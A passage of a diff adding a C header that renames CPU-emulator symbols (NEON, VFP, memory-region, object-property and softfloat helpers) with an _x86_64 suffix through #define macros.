helper_neon_rshl_s64_x86_64 +#define helper_neon_rshl_s8 helper_neon_rshl_s8_x86_64 +#define helper_neon_rshl_u16 helper_neon_rshl_u16_x86_64 +#define helper_neon_rshl_u32 helper_neon_rshl_u32_x86_64 +#define helper_neon_rshl_u64 helper_neon_rshl_u64_x86_64 +#define helper_neon_rshl_u8 helper_neon_rshl_u8_x86_64 +#define helper_neon_shl_s16 helper_neon_shl_s16_x86_64 +#define helper_neon_shl_s32 helper_neon_shl_s32_x86_64 +#define helper_neon_shl_s64 helper_neon_shl_s64_x86_64 +#define helper_neon_shl_s8 helper_neon_shl_s8_x86_64 +#define helper_neon_shl_u16 helper_neon_shl_u16_x86_64 +#define helper_neon_shl_u32 helper_neon_shl_u32_x86_64 +#define helper_neon_shl_u64 helper_neon_shl_u64_x86_64 +#define helper_neon_shl_u8 helper_neon_shl_u8_x86_64 +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_x86_64 +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_x86_64 +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_x86_64 +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_x86_64 +#define helper_neon_subl_u16 helper_neon_subl_u16_x86_64 +#define helper_neon_subl_u32 helper_neon_subl_u32_x86_64 +#define helper_neon_sub_u16 helper_neon_sub_u16_x86_64 +#define helper_neon_sub_u8 helper_neon_sub_u8_x86_64 +#define helper_neon_tbl helper_neon_tbl_x86_64 +#define helper_neon_tst_u16 helper_neon_tst_u16_x86_64 +#define helper_neon_tst_u32 helper_neon_tst_u32_x86_64 +#define helper_neon_tst_u8 helper_neon_tst_u8_x86_64 +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_x86_64 +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_x86_64 +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_x86_64 +#define helper_neon_unzip16 helper_neon_unzip16_x86_64 +#define helper_neon_unzip8 helper_neon_unzip8_x86_64 +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_x86_64 +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_x86_64 +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_x86_64 +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_x86_64 +#define helper_neon_widen_s16 helper_neon_widen_s16_x86_64 +#define helper_neon_widen_s8 helper_neon_widen_s8_x86_64 +#define helper_neon_widen_u16 helper_neon_widen_u16_x86_64 +#define helper_neon_widen_u8 helper_neon_widen_u8_x86_64 +#define helper_neon_zip16 helper_neon_zip16_x86_64 +#define helper_neon_zip8 helper_neon_zip8_x86_64 +#define helper_pre_hvc helper_pre_hvc_x86_64 +#define helper_pre_smc helper_pre_smc_x86_64 +#define helper_qadd16 helper_qadd16_x86_64 +#define helper_qadd8 helper_qadd8_x86_64 +#define helper_qaddsubx helper_qaddsubx_x86_64 +#define helper_qsub16 helper_qsub16_x86_64 +#define helper_qsub8 helper_qsub8_x86_64 +#define helper_qsubaddx helper_qsubaddx_x86_64 +#define helper_rbit helper_rbit_x86_64 +#define helper_recpe_f32 helper_recpe_f32_x86_64 +#define helper_recpe_f64 helper_recpe_f64_x86_64 +#define helper_recpe_u32 helper_recpe_u32_x86_64 +#define helper_recps_f32 helper_recps_f32_x86_64 +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_x86_64 +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_x86_64 +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_x86_64 +#define helper_ret_stb_mmu helper_ret_stb_mmu_x86_64 +#define helper_rintd helper_rintd_x86_64 +#define helper_rintd_exact helper_rintd_exact_x86_64 +#define helper_rints helper_rints_x86_64 +#define helper_rints_exact helper_rints_exact_x86_64 +#define helper_ror_cc helper_ror_cc_x86_64 +#define helper_rsqrte_f32 helper_rsqrte_f32_x86_64 +#define helper_rsqrte_f64 helper_rsqrte_f64_x86_64 +#define helper_rsqrte_u32 helper_rsqrte_u32_x86_64 +#define helper_rsqrts_f32 helper_rsqrts_f32_x86_64 +#define helper_sadd16 helper_sadd16_x86_64 +#define helper_sadd8 helper_sadd8_x86_64 +#define helper_saddsubx helper_saddsubx_x86_64 +#define helper_sar_cc helper_sar_cc_x86_64 +#define helper_sdiv helper_sdiv_x86_64 +#define helper_sel_flags helper_sel_flags_x86_64 +#define helper_set_cp_reg helper_set_cp_reg_x86_64 +#define helper_set_cp_reg64 helper_set_cp_reg64_x86_64 +#define helper_set_neon_rmode helper_set_neon_rmode_x86_64 +#define helper_set_r13_banked helper_set_r13_banked_x86_64 +#define helper_set_rmode helper_set_rmode_x86_64 +#define helper_set_user_reg helper_set_user_reg_x86_64 +#define helper_shadd16 helper_shadd16_x86_64 +#define helper_shadd8 helper_shadd8_x86_64 +#define helper_shaddsubx helper_shaddsubx_x86_64 +#define helper_shl_cc helper_shl_cc_x86_64 +#define helper_shr_cc helper_shr_cc_x86_64 +#define helper_shsub16 helper_shsub16_x86_64 +#define helper_shsub8 helper_shsub8_x86_64 +#define helper_shsubaddx helper_shsubaddx_x86_64 +#define helper_ssat helper_ssat_x86_64 +#define helper_ssat16 helper_ssat16_x86_64 +#define helper_ssub16 helper_ssub16_x86_64 +#define helper_ssub8 helper_ssub8_x86_64 +#define helper_ssubaddx helper_ssubaddx_x86_64 +#define helper_stb_mmu helper_stb_mmu_x86_64 +#define helper_stl_mmu helper_stl_mmu_x86_64 +#define helper_stq_mmu helper_stq_mmu_x86_64 +#define helper_stw_mmu helper_stw_mmu_x86_64 +#define helper_sub_saturate helper_sub_saturate_x86_64 +#define helper_sub_usaturate helper_sub_usaturate_x86_64 +#define helper_sxtb16 helper_sxtb16_x86_64 +#define helper_uadd16 helper_uadd16_x86_64 +#define helper_uadd8 helper_uadd8_x86_64 +#define helper_uaddsubx helper_uaddsubx_x86_64 +#define helper_udiv helper_udiv_x86_64 +#define helper_uhadd16 helper_uhadd16_x86_64 +#define helper_uhadd8 helper_uhadd8_x86_64 +#define helper_uhaddsubx helper_uhaddsubx_x86_64 +#define helper_uhsub16 helper_uhsub16_x86_64 +#define helper_uhsub8 helper_uhsub8_x86_64 +#define helper_uhsubaddx helper_uhsubaddx_x86_64 +#define helper_uqadd16 helper_uqadd16_x86_64 +#define helper_uqadd8 helper_uqadd8_x86_64 +#define helper_uqaddsubx helper_uqaddsubx_x86_64 +#define helper_uqsub16 helper_uqsub16_x86_64 +#define helper_uqsub8 helper_uqsub8_x86_64 +#define helper_uqsubaddx helper_uqsubaddx_x86_64 +#define helper_usad8 helper_usad8_x86_64 +#define helper_usat helper_usat_x86_64 +#define helper_usat16 helper_usat16_x86_64 +#define helper_usub16 helper_usub16_x86_64 +#define helper_usub8 helper_usub8_x86_64 +#define helper_usubaddx helper_usubaddx_x86_64 +#define helper_uxtb16 helper_uxtb16_x86_64 +#define helper_v7m_mrs helper_v7m_mrs_x86_64 +#define helper_v7m_msr helper_v7m_msr_x86_64 +#define helper_vfp_absd helper_vfp_absd_x86_64 +#define helper_vfp_abss helper_vfp_abss_x86_64 +#define helper_vfp_addd helper_vfp_addd_x86_64 +#define helper_vfp_adds helper_vfp_adds_x86_64 +#define helper_vfp_cmpd helper_vfp_cmpd_x86_64 +#define helper_vfp_cmped helper_vfp_cmped_x86_64 +#define helper_vfp_cmpes helper_vfp_cmpes_x86_64 +#define helper_vfp_cmps helper_vfp_cmps_x86_64 +#define helper_vfp_divd helper_vfp_divd_x86_64 +#define helper_vfp_divs helper_vfp_divs_x86_64 +#define helper_vfp_fcvtds helper_vfp_fcvtds_x86_64 +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_x86_64 +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_x86_64 +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_x86_64 +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_x86_64 +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_x86_64 +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_x86_64 +#define helper_vfp_maxd helper_vfp_maxd_x86_64 +#define helper_vfp_maxnumd helper_vfp_maxnumd_x86_64 +#define helper_vfp_maxnums helper_vfp_maxnums_x86_64 +#define helper_vfp_maxs helper_vfp_maxs_x86_64 +#define helper_vfp_mind helper_vfp_mind_x86_64 +#define helper_vfp_minnumd helper_vfp_minnumd_x86_64 +#define helper_vfp_minnums helper_vfp_minnums_x86_64 +#define helper_vfp_mins helper_vfp_mins_x86_64 +#define helper_vfp_muladdd helper_vfp_muladdd_x86_64 +#define helper_vfp_muladds helper_vfp_muladds_x86_64 +#define helper_vfp_muld helper_vfp_muld_x86_64 +#define helper_vfp_muls helper_vfp_muls_x86_64 +#define helper_vfp_negd helper_vfp_negd_x86_64 +#define helper_vfp_negs helper_vfp_negs_x86_64 +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_x86_64 +#define helper_vfp_shtod helper_vfp_shtod_x86_64 +#define helper_vfp_shtos helper_vfp_shtos_x86_64 +#define helper_vfp_sitod helper_vfp_sitod_x86_64 +#define helper_vfp_sitos helper_vfp_sitos_x86_64 +#define helper_vfp_sltod helper_vfp_sltod_x86_64 +#define helper_vfp_sltos helper_vfp_sltos_x86_64 +#define helper_vfp_sqrtd helper_vfp_sqrtd_x86_64 +#define helper_vfp_sqrts helper_vfp_sqrts_x86_64 +#define helper_vfp_sqtod helper_vfp_sqtod_x86_64 +#define helper_vfp_sqtos helper_vfp_sqtos_x86_64 +#define helper_vfp_subd helper_vfp_subd_x86_64 +#define helper_vfp_subs helper_vfp_subs_x86_64 +#define helper_vfp_toshd helper_vfp_toshd_x86_64 +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_x86_64 +#define helper_vfp_toshs helper_vfp_toshs_x86_64 +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_x86_64 +#define helper_vfp_tosid helper_vfp_tosid_x86_64 +#define helper_vfp_tosis helper_vfp_tosis_x86_64 +#define helper_vfp_tosizd helper_vfp_tosizd_x86_64 +#define helper_vfp_tosizs helper_vfp_tosizs_x86_64 +#define helper_vfp_tosld helper_vfp_tosld_x86_64 +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_x86_64 +#define helper_vfp_tosls helper_vfp_tosls_x86_64 +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_x86_64 +#define helper_vfp_tosqd helper_vfp_tosqd_x86_64 +#define helper_vfp_tosqs helper_vfp_tosqs_x86_64 +#define helper_vfp_touhd helper_vfp_touhd_x86_64 +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_x86_64 +#define helper_vfp_touhs helper_vfp_touhs_x86_64 +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_x86_64 +#define helper_vfp_touid helper_vfp_touid_x86_64 +#define helper_vfp_touis helper_vfp_touis_x86_64 +#define helper_vfp_touizd helper_vfp_touizd_x86_64 +#define helper_vfp_touizs helper_vfp_touizs_x86_64 +#define helper_vfp_tould helper_vfp_tould_x86_64 +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_x86_64 +#define helper_vfp_touls helper_vfp_touls_x86_64 +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_x86_64 +#define helper_vfp_touqd helper_vfp_touqd_x86_64 +#define helper_vfp_touqs helper_vfp_touqs_x86_64 +#define helper_vfp_uhtod helper_vfp_uhtod_x86_64 +#define helper_vfp_uhtos helper_vfp_uhtos_x86_64 +#define helper_vfp_uitod helper_vfp_uitod_x86_64 +#define helper_vfp_uitos helper_vfp_uitos_x86_64 +#define helper_vfp_ultod helper_vfp_ultod_x86_64 +#define helper_vfp_ultos helper_vfp_ultos_x86_64 +#define helper_vfp_uqtod helper_vfp_uqtod_x86_64 +#define helper_vfp_uqtos helper_vfp_uqtos_x86_64 +#define helper_wfe helper_wfe_x86_64 +#define helper_wfi helper_wfi_x86_64 +#define hex2decimal hex2decimal_x86_64 +#define hw_breakpoint_update hw_breakpoint_update_x86_64 +#define hw_breakpoint_update_all hw_breakpoint_update_all_x86_64 +#define hw_watchpoint_update hw_watchpoint_update_x86_64 +#define hw_watchpoint_update_all hw_watchpoint_update_all_x86_64 +#define _init _init_x86_64 +#define init_cpreg_list init_cpreg_list_x86_64 +#define init_lists init_lists_x86_64 +#define input_type_enum input_type_enum_x86_64 +#define int128_2_64 int128_2_64_x86_64 +#define int128_add int128_add_x86_64 +#define int128_addto int128_addto_x86_64 +#define int128_and int128_and_x86_64 +#define int128_eq int128_eq_x86_64 +#define int128_ge int128_ge_x86_64 +#define int128_get64 int128_get64_x86_64 +#define int128_gt int128_gt_x86_64 +#define int128_le int128_le_x86_64 +#define int128_lt int128_lt_x86_64 +#define int128_make64 int128_make64_x86_64 +#define int128_max int128_max_x86_64 +#define int128_min int128_min_x86_64 +#define int128_ne int128_ne_x86_64 +#define int128_neg int128_neg_x86_64 +#define int128_nz int128_nz_x86_64 +#define int128_rshift int128_rshift_x86_64 +#define int128_sub int128_sub_x86_64 +#define int128_subfrom int128_subfrom_x86_64 +#define int128_zero int128_zero_x86_64 +#define int16_to_float32 int16_to_float32_x86_64 +#define int16_to_float64 int16_to_float64_x86_64 +#define int32_to_float128 int32_to_float128_x86_64 +#define int32_to_float32 int32_to_float32_x86_64 +#define int32_to_float64 int32_to_float64_x86_64 +#define int32_to_floatx80 int32_to_floatx80_x86_64 +#define int64_to_float128 int64_to_float128_x86_64 +#define int64_to_float32 int64_to_float32_x86_64 +#define int64_to_float64 int64_to_float64_x86_64 +#define int64_to_floatx80 int64_to_floatx80_x86_64 +#define invalidate_and_set_dirty invalidate_and_set_dirty_x86_64 +#define invalidate_page_bitmap invalidate_page_bitmap_x86_64 +#define io_mem_read io_mem_read_x86_64 +#define io_mem_write io_mem_write_x86_64 +#define io_readb io_readb_x86_64 +#define io_readl io_readl_x86_64 +#define io_readq io_readq_x86_64 +#define io_readw io_readw_x86_64 +#define iotlb_to_region iotlb_to_region_x86_64 +#define io_writeb io_writeb_x86_64 +#define io_writel io_writel_x86_64 +#define io_writeq io_writeq_x86_64 +#define io_writew io_writew_x86_64 +#define is_a64 is_a64_x86_64 +#define is_help_option is_help_option_x86_64 +#define isr_read isr_read_x86_64 +#define is_valid_option_list is_valid_option_list_x86_64 +#define iwmmxt_load_creg iwmmxt_load_creg_x86_64 +#define iwmmxt_load_reg iwmmxt_load_reg_x86_64 +#define iwmmxt_store_creg iwmmxt_store_creg_x86_64 +#define iwmmxt_store_reg iwmmxt_store_reg_x86_64 +#define __jit_debug_descriptor __jit_debug_descriptor_x86_64 +#define __jit_debug_register_code __jit_debug_register_code_x86_64 +#define kvm_to_cpreg_id kvm_to_cpreg_id_x86_64 +#define last_ram_offset last_ram_offset_x86_64 +#define ldl_be_p ldl_be_p_x86_64 +#define ldl_be_phys ldl_be_phys_x86_64 +#define ldl_he_p ldl_he_p_x86_64 +#define ldl_le_p ldl_le_p_x86_64 +#define ldl_le_phys ldl_le_phys_x86_64 +#define ldl_phys ldl_phys_x86_64 +#define ldl_phys_internal ldl_phys_internal_x86_64 +#define ldq_be_p ldq_be_p_x86_64 +#define ldq_be_phys ldq_be_phys_x86_64 +#define ldq_he_p ldq_he_p_x86_64 +#define ldq_le_p ldq_le_p_x86_64 +#define ldq_le_phys ldq_le_phys_x86_64 +#define ldq_phys ldq_phys_x86_64 +#define ldq_phys_internal ldq_phys_internal_x86_64 +#define ldst_name ldst_name_x86_64 +#define ldub_p ldub_p_x86_64 +#define ldub_phys ldub_phys_x86_64 +#define lduw_be_p lduw_be_p_x86_64 +#define lduw_be_phys lduw_be_phys_x86_64 +#define lduw_he_p lduw_he_p_x86_64 +#define lduw_le_p lduw_le_p_x86_64 +#define lduw_le_phys lduw_le_phys_x86_64 +#define lduw_phys lduw_phys_x86_64 +#define lduw_phys_internal lduw_phys_internal_x86_64 +#define le128 le128_x86_64 +#define linked_bp_matches linked_bp_matches_x86_64 +#define listener_add_address_space listener_add_address_space_x86_64 +#define load_cpu_offset load_cpu_offset_x86_64 +#define load_reg load_reg_x86_64 +#define load_reg_var load_reg_var_x86_64 +#define log_cpu_state log_cpu_state_x86_64 +#define lpae_cp_reginfo lpae_cp_reginfo_x86_64 +#define lt128 lt128_x86_64 +#define machine_class_init machine_class_init_x86_64 +#define machine_finalize machine_finalize_x86_64 +#define machine_info machine_info_x86_64 +#define machine_initfn machine_initfn_x86_64 +#define machine_register_types machine_register_types_x86_64 +#define machvirt_init machvirt_init_x86_64 +#define machvirt_machine_init machvirt_machine_init_x86_64 +#define maj maj_x86_64 +#define mapping_conflict mapping_conflict_x86_64 +#define mapping_contiguous mapping_contiguous_x86_64 +#define mapping_have_same_region mapping_have_same_region_x86_64 +#define mapping_merge mapping_merge_x86_64 +#define mem_add mem_add_x86_64 +#define mem_begin mem_begin_x86_64 +#define mem_commit mem_commit_x86_64 +#define memory_access_is_direct memory_access_is_direct_x86_64 +#define memory_access_size memory_access_size_x86_64 +#define memory_init memory_init_x86_64 +#define memory_listener_match memory_listener_match_x86_64 +#define memory_listener_register memory_listener_register_x86_64 +#define memory_listener_unregister memory_listener_unregister_x86_64 +#define memory_map_init memory_map_init_x86_64 +#define memory_mapping_filter memory_mapping_filter_x86_64 +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_x86_64 +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_x86_64 +#define memory_mapping_list_free memory_mapping_list_free_x86_64 +#define memory_mapping_list_init memory_mapping_list_init_x86_64 +#define memory_region_access_valid memory_region_access_valid_x86_64 +#define memory_region_add_subregion memory_region_add_subregion_x86_64 +#define memory_region_add_subregion_common memory_region_add_subregion_common_x86_64 +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_x86_64 +#define memory_region_big_endian memory_region_big_endian_x86_64 +#define memory_region_clear_pending memory_region_clear_pending_x86_64 +#define memory_region_del_subregion memory_region_del_subregion_x86_64 +#define memory_region_destructor_alias memory_region_destructor_alias_x86_64 +#define memory_region_destructor_none memory_region_destructor_none_x86_64 +#define memory_region_destructor_ram memory_region_destructor_ram_x86_64 +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_x86_64 +#define memory_region_dispatch_read memory_region_dispatch_read_x86_64 +#define memory_region_dispatch_read1 memory_region_dispatch_read1_x86_64 +#define memory_region_dispatch_write memory_region_dispatch_write_x86_64 +#define memory_region_escape_name memory_region_escape_name_x86_64 +#define memory_region_finalize memory_region_finalize_x86_64 +#define memory_region_find memory_region_find_x86_64 +#define memory_region_get_addr memory_region_get_addr_x86_64 +#define memory_region_get_alignment memory_region_get_alignment_x86_64 +#define memory_region_get_container memory_region_get_container_x86_64 +#define memory_region_get_fd memory_region_get_fd_x86_64 +#define memory_region_get_may_overlap memory_region_get_may_overlap_x86_64 +#define memory_region_get_priority memory_region_get_priority_x86_64 +#define memory_region_get_ram_addr memory_region_get_ram_addr_x86_64 +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_x86_64 +#define memory_region_get_size memory_region_get_size_x86_64 +#define memory_region_info memory_region_info_x86_64 +#define memory_region_init memory_region_init_x86_64 +#define memory_region_init_alias memory_region_init_alias_x86_64 +#define memory_region_initfn memory_region_initfn_x86_64 +#define memory_region_init_io memory_region_init_io_x86_64 +#define memory_region_init_ram memory_region_init_ram_x86_64 +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_x86_64 +#define memory_region_init_reservation memory_region_init_reservation_x86_64 +#define memory_region_is_iommu memory_region_is_iommu_x86_64 +#define memory_region_is_logging memory_region_is_logging_x86_64 +#define memory_region_is_mapped memory_region_is_mapped_x86_64 +#define memory_region_is_ram memory_region_is_ram_x86_64 +#define memory_region_is_rom memory_region_is_rom_x86_64 +#define memory_region_is_romd memory_region_is_romd_x86_64 +#define memory_region_is_skip_dump memory_region_is_skip_dump_x86_64 +#define memory_region_is_unassigned memory_region_is_unassigned_x86_64 +#define memory_region_name memory_region_name_x86_64 +#define memory_region_need_escape memory_region_need_escape_x86_64 +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_x86_64 +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_x86_64 +#define memory_region_present memory_region_present_x86_64 +#define memory_region_read_accessor memory_region_read_accessor_x86_64 +#define memory_region_readd_subregion memory_region_readd_subregion_x86_64 +#define memory_region_ref memory_region_ref_x86_64 +#define memory_region_resolve_container memory_region_resolve_container_x86_64 +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_x86_64 +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_x86_64 +#define memory_region_set_address memory_region_set_address_x86_64 +#define memory_region_set_alias_offset memory_region_set_alias_offset_x86_64 +#define memory_region_set_enabled memory_region_set_enabled_x86_64 +#define memory_region_set_readonly memory_region_set_readonly_x86_64 +#define memory_region_set_skip_dump memory_region_set_skip_dump_x86_64 +#define memory_region_size memory_region_size_x86_64 +#define memory_region_to_address_space memory_region_to_address_space_x86_64 +#define memory_region_transaction_begin memory_region_transaction_begin_x86_64 +#define memory_region_transaction_commit memory_region_transaction_commit_x86_64 +#define memory_region_unref memory_region_unref_x86_64 +#define memory_region_update_container_subregions memory_region_update_container_subregions_x86_64 +#define memory_region_write_accessor memory_region_write_accessor_x86_64 +#define memory_region_wrong_endianness memory_region_wrong_endianness_x86_64 +#define memory_try_enable_merging memory_try_enable_merging_x86_64 +#define module_call_init module_call_init_x86_64 +#define module_load module_load_x86_64 +#define mpidr_cp_reginfo mpidr_cp_reginfo_x86_64 +#define mpidr_read mpidr_read_x86_64 +#define msr_mask msr_mask_x86_64 +#define mul128By64To192 mul128By64To192_x86_64 +#define mul128To256 mul128To256_x86_64 +#define mul64To128 mul64To128_x86_64 +#define muldiv64 muldiv64_x86_64 +#define neon_2rm_is_float_op neon_2rm_is_float_op_x86_64 +#define neon_2rm_sizes neon_2rm_sizes_x86_64 +#define neon_3r_sizes neon_3r_sizes_x86_64 +#define neon_get_scalar neon_get_scalar_x86_64 +#define neon_load_reg neon_load_reg_x86_64 +#define neon_load_reg64 neon_load_reg64_x86_64 +#define neon_load_scratch neon_load_scratch_x86_64 +#define neon_ls_element_type neon_ls_element_type_x86_64 +#define neon_reg_offset neon_reg_offset_x86_64 +#define neon_store_reg neon_store_reg_x86_64 +#define neon_store_reg64 neon_store_reg64_x86_64 +#define neon_store_scratch neon_store_scratch_x86_64 +#define new_ldst_label new_ldst_label_x86_64 +#define next_list next_list_x86_64 +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_x86_64 +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_x86_64 +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_x86_64 +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_x86_64 +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_x86_64 +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_x86_64 +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_x86_64 +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_x86_64 +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_x86_64 +#define not_v6_cp_reginfo not_v6_cp_reginfo_x86_64 +#define not_v7_cp_reginfo not_v7_cp_reginfo_x86_64 +#define not_v8_cp_reginfo not_v8_cp_reginfo_x86_64 +#define object_child_foreach object_child_foreach_x86_64 +#define object_class_foreach object_class_foreach_x86_64 +#define object_class_foreach_tramp object_class_foreach_tramp_x86_64 +#define object_class_get_list object_class_get_list_x86_64 +#define object_class_get_list_tramp object_class_get_list_tramp_x86_64 +#define object_class_get_parent object_class_get_parent_x86_64 +#define object_deinit object_deinit_x86_64 +#define object_dynamic_cast object_dynamic_cast_x86_64 +#define object_finalize object_finalize_x86_64 +#define object_finalize_child_property object_finalize_child_property_x86_64 +#define object_get_child_property object_get_child_property_x86_64 +#define object_get_link_property object_get_link_property_x86_64 +#define object_get_root object_get_root_x86_64 +#define object_initialize_with_type object_initialize_with_type_x86_64 +#define object_init_with_type object_init_with_type_x86_64 +#define object_instance_init object_instance_init_x86_64 +#define object_new_with_type object_new_with_type_x86_64 +#define object_post_init_with_type object_post_init_with_type_x86_64 +#define object_property_add_alias object_property_add_alias_x86_64 +#define object_property_add_link object_property_add_link_x86_64 +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_x86_64 +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_x86_64 +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_x86_64 +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_x86_64 +#define object_property_allow_set_link object_property_allow_set_link_x86_64 +#define object_property_del object_property_del_x86_64 +#define object_property_del_all object_property_del_all_x86_64 +#define object_property_find object_property_find_x86_64 +#define object_property_get object_property_get_x86_64 +#define object_property_get_bool object_property_get_bool_x86_64 +#define object_property_get_int object_property_get_int_x86_64 +#define object_property_get_link object_property_get_link_x86_64 +#define object_property_get_qobject object_property_get_qobject_x86_64 +#define object_property_get_str object_property_get_str_x86_64 +#define object_property_get_type object_property_get_type_x86_64 +#define object_property_is_child object_property_is_child_x86_64 +#define object_property_set object_property_set_x86_64 +#define object_property_set_description object_property_set_description_x86_64 +#define object_property_set_link object_property_set_link_x86_64 +#define object_property_set_qobject object_property_set_qobject_x86_64 +#define object_release_link_property object_release_link_property_x86_64 +#define object_resolve_abs_path object_resolve_abs_path_x86_64 +#define object_resolve_child_property object_resolve_child_property_x86_64 +#define object_resolve_link object_resolve_link_x86_64 +#define object_resolve_link_property object_resolve_link_property_x86_64 +#define object_resolve_partial_path object_resolve_partial_path_x86_64 +#define object_resolve_path object_resolve_path_x86_64 +#define object_resolve_path_component object_resolve_path_component_x86_64 +#define object_resolve_path_type object_resolve_path_type_x86_64 +#define object_set_link_property object_set_link_property_x86_64 +#define object_unparent object_unparent_x86_64 +#define omap_cachemaint_write omap_cachemaint_write_x86_64 +#define omap_cp_reginfo omap_cp_reginfo_x86_64 +#define omap_threadid_write omap_threadid_write_x86_64 +#define omap_ticonfig_write omap_ticonfig_write_x86_64 +#define omap_wfi_write omap_wfi_write_x86_64 +#define op_bits op_bits_x86_64 +#define open_modeflags open_modeflags_x86_64 +#define op_to_mov op_to_mov_x86_64 +#define op_to_movi op_to_movi_x86_64 +#define output_type_enum output_type_enum_x86_64 +#define packFloat128 packFloat128_x86_64 +#define packFloat16 packFloat16_x86_64 +#define packFloat32 packFloat32_x86_64 +#define packFloat64 packFloat64_x86_64 +#define packFloatx80 packFloatx80_x86_64 +#define page_find page_find_x86_64 +#define page_find_alloc page_find_alloc_x86_64 +#define page_flush_tb page_flush_tb_x86_64 +#define page_flush_tb_1 page_flush_tb_1_x86_64 +#define page_init page_init_x86_64 +#define page_size_init page_size_init_x86_64 +#define par par_x86_64 +#define parse_array parse_array_x86_64 +#define parse_error parse_error_x86_64 +#define parse_escape parse_escape_x86_64 +#define parse_keyword parse_keyword_x86_64 +#define parse_literal parse_literal_x86_64 +#define parse_object parse_object_x86_64 +#define parse_optional parse_optional_x86_64 +#define parse_option_bool parse_option_bool_x86_64 +#define parse_option_number parse_option_number_x86_64 +#define parse_option_size parse_option_size_x86_64 +#define parse_pair parse_pair_x86_64 +#define parser_context_free parser_context_free_x86_64 +#define parser_context_new parser_context_new_x86_64 +#define parser_context_peek_token parser_context_peek_token_x86_64 +#define parser_context_pop_token parser_context_pop_token_x86_64 +#define parser_context_restore parser_context_restore_x86_64 +#define parser_context_save parser_context_save_x86_64 +#define parse_str parse_str_x86_64 +#define parse_type_bool parse_type_bool_x86_64 +#define parse_type_int parse_type_int_x86_64 +#define parse_type_number parse_type_number_x86_64 +#define parse_type_size parse_type_size_x86_64 +#define parse_type_str parse_type_str_x86_64 +#define parse_value parse_value_x86_64 +#define par_write par_write_x86_64 +#define patch_reloc patch_reloc_x86_64 +#define phys_map_node_alloc phys_map_node_alloc_x86_64 +#define phys_map_node_reserve phys_map_node_reserve_x86_64 +#define phys_mem_alloc phys_mem_alloc_x86_64 +#define phys_mem_set_alloc phys_mem_set_alloc_x86_64 +#define phys_page_compact phys_page_compact_x86_64 +#define phys_page_compact_all phys_page_compact_all_x86_64 +#define phys_page_find phys_page_find_x86_64 +#define phys_page_set phys_page_set_x86_64 +#define phys_page_set_level phys_page_set_level_x86_64 +#define phys_section_add phys_section_add_x86_64 +#define phys_section_destroy phys_section_destroy_x86_64 +#define phys_sections_free phys_sections_free_x86_64 +#define pickNaN pickNaN_x86_64 +#define pickNaNMulAdd pickNaNMulAdd_x86_64 +#define pmccfiltr_write pmccfiltr_write_x86_64 +#define pmccntr_read pmccntr_read_x86_64 +#define pmccntr_sync pmccntr_sync_x86_64 +#define pmccntr_write pmccntr_write_x86_64 +#define pmccntr_write32 pmccntr_write32_x86_64 +#define pmcntenclr_write pmcntenclr_write_x86_64 +#define pmcntenset_write pmcntenset_write_x86_64 +#define pmcr_write pmcr_write_x86_64 +#define pmintenclr_write pmintenclr_write_x86_64 +#define pmintenset_write pmintenset_write_x86_64 +#define pmovsr_write pmovsr_write_x86_64 +#define pmreg_access pmreg_access_x86_64 +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_x86_64 +#define pmsav5_data_ap_read pmsav5_data_ap_read_x86_64 +#define pmsav5_data_ap_write pmsav5_data_ap_write_x86_64 +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_x86_64 +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_x86_64 +#define pmuserenr_write pmuserenr_write_x86_64 +#define pmxevtyper_write 